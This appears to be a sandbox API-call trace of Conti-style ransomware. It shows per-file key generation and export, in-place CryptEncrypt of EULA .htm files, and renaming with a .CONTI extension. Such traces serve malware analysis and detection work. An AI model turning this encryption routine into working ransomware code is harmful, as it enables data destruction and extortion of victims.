	[0149.619] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm")) returned 0x20
	[0149.619] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.620] GetLastError () returned 0x0
	[0149.620] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69816) returned 1
	[0149.620] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x110b8
	[0149.620] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.620] SetEndOfFile (hFile=0x49c) returned 1
	[0149.620] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.620] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.620] WriteFile (in: hFile=0x49c, lpBuffer=0x65db724*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65db724*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.626] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.627] ReadFile (in: hFile=0x49c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x110b8, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x110b8, lpOverlapped=0x0) returned 1
	[0149.628] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x110b8, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x110c0) returned 1
	[0149.628] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.628] WriteFile (in: hFile=0x49c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x110c0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x110c0, lpOverlapped=0x0) returned 1
	[0149.628] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.629] WriteFile (in: hFile=0x49c, lpBuffer=0x65db718*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65db718*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0149.629] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.629] CloseHandle (hObject=0x49c) returned 1
	[0149.629] GetProcessHeap () returned 0x1720000
	[0149.629] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.629] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm"
	[0149.629] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.CONTI"
	[0149.629] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_es-mx.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_es-mx.htm.conti")) returned 1
	[0149.629] GetProcessHeap () returned 0x1720000
	[0149.629] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.629] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0149.629] GetProcessHeap () returned 0x1720000
	[0149.629] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4f30 | out: hHeap=0x1720000) returned 1
	[0149.629] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0149.630] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65da970 | out: phKey=0x65da970*=0x17deed0) returned 1
	[0149.630] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da974, pdwDataLen=0x3bbfde4 | out: pbData=0x65da974*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0149.630] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm")) returned 0x20
	[0149.632] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0149.633] GetLastError () returned 0x0
	[0149.633] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=70746) returned 1
	[0149.633] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1145a
	[0149.633] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.633] SetEndOfFile (hFile=0x2ec) returned 1
	[0149.633] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.633] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.634] WriteFile (in: hFile=0x2ec, lpBuffer=0x65da974*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65da974*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.639] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.640] ReadFile (in: hFile=0x2ec, lpBuffer=0x9880000, nNumberOfBytesToRead=0x1145a, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x1145a, lpOverlapped=0x0) returned 1
	[0149.641] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1145a, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x11460) returned 1
	[0149.641] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.641] WriteFile (in: hFile=0x2ec, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x11460, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x11460, lpOverlapped=0x0) returned 1
	[0149.641] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.641] WriteFile (in: hFile=0x2ec, lpBuffer=0x65da968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65da968*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0149.642] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.642] CloseHandle (hObject=0x2ec) returned 1
	[0149.642] GetProcessHeap () returned 0x1720000
	[0149.642] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.642] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm"
	[0149.642] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.CONTI"
	[0149.642] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fi-fi.htm.conti")) returned 1
	[0149.642] GetProcessHeap () returned 0x1720000
	[0149.642] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.642] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0149.642] GetProcessHeap () returned 0x1720000
	[0149.643] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4e40 | out: hHeap=0x1720000) returned 1
	[0149.643] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0149.643] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d94e8 | out: phKey=0x65d94e8*=0x17deed0) returned 1
	[0149.643] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d94ec, pdwDataLen=0x3bbfde4 | out: pbData=0x65d94ec*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0149.643] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm")) returned 0x20
	[0149.643] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0149.644] GetLastError () returned 0x0
	[0149.644] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=69386) returned 1
	[0149.644] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f0a
	[0149.644] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.644] SetEndOfFile (hFile=0x2ec) returned 1
	[0149.644] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.644] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.644] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d94ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d94ec*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.650] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.650] ReadFile (in: hFile=0x2ec, lpBuffer=0x9880000, nNumberOfBytesToRead=0x10f0a, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x10f0a, lpOverlapped=0x0) returned 1
	[0149.653] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x10f0a, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x10f10) returned 1
	[0149.653] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.653] WriteFile (in: hFile=0x2ec, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x10f10, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x10f10, lpOverlapped=0x0) returned 1
	[0149.653] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.653] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d94e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d94e0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0149.653] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.654] CloseHandle (hObject=0x2ec) returned 1
	[0149.654] GetProcessHeap () returned 0x1720000
	[0149.654] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.654] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm"
	[0149.654] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.CONTI"
	[0149.654] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm.conti")) returned 1
	[0149.657] GetProcessHeap () returned 0x1720000
	[0149.657] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.657] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0149.657] GetProcessHeap () returned 0x1720000
	[0149.657] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5110 | out: hHeap=0x1720000) returned 1
	[0149.657] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0149.657] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65db290 | out: phKey=0x65db290*=0x17deed0) returned 1
	[0149.657] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db294, pdwDataLen=0x3bbfde4 | out: pbData=0x65db294*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0149.658] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm")) returned 0x20
	[0149.658] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0149.658] GetLastError () returned 0x0
	[0149.658] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=84570) returned 1
	[0149.658] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14a5a
	[0149.658] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.658] SetEndOfFile (hFile=0x35c) returned 1
	[0149.659] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.659] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.659] WriteFile (in: hFile=0x35c, lpBuffer=0x65db294*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65db294*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.661] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.661] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x14a5a, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x14a5a, lpOverlapped=0x0) returned 1
	[0149.666] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x14a5a, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x14a60) returned 1
	[0149.666] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.666] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x14a60, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x14a60, lpOverlapped=0x0) returned 1
	[0149.667] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.667] WriteFile (in: hFile=0x35c, lpBuffer=0x65db288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65db288*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0149.667] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.667] CloseHandle (hObject=0x35c) returned 1
	[0149.671] GetProcessHeap () returned 0x1720000
	[0149.671] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.671] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm"
	[0149.671] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.CONTI"
	[0149.671] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm.conti")) returned 1
	[0149.671] GetProcessHeap () returned 0x1720000
	[0149.672] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.672] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0149.672] GetProcessHeap () returned 0x1720000
	[0149.672] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5d40 | out: hHeap=0x1720000) returned 1
	[0149.672] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0149.672] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65dc040 | out: phKey=0x65dc040*=0x17deed0) returned 1
	[0149.672] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc044, pdwDataLen=0x3bbfde4 | out: pbData=0x65dc044*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0149.672] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm")) returned 0x20
	[0149.673] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ja-jp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0149.673] GetLastError () returned 0x0
	[0149.673] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=210254) returned 1
	[0149.673] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3354e
	[0149.673] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.673] SetEndOfFile (hFile=0x35c) returned 1
	[0149.673] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.673] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.673] WriteFile (in: hFile=0x35c, lpBuffer=0x65dc044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65dc044*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.561] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.561] ReadFile (in: hFile=0x35c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x3354e, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x3354e, lpOverlapped=0x0) returned 1
	[0151.636] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x3354e, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x33550) returned 1
	[0151.637] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.637] WriteFile (in: hFile=0x35c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x33550, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x33550, lpOverlapped=0x0) returned 1
	[0151.637] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.637] WriteFile (in: hFile=0x35c, lpBuffer=0x65dc038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65dc038*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
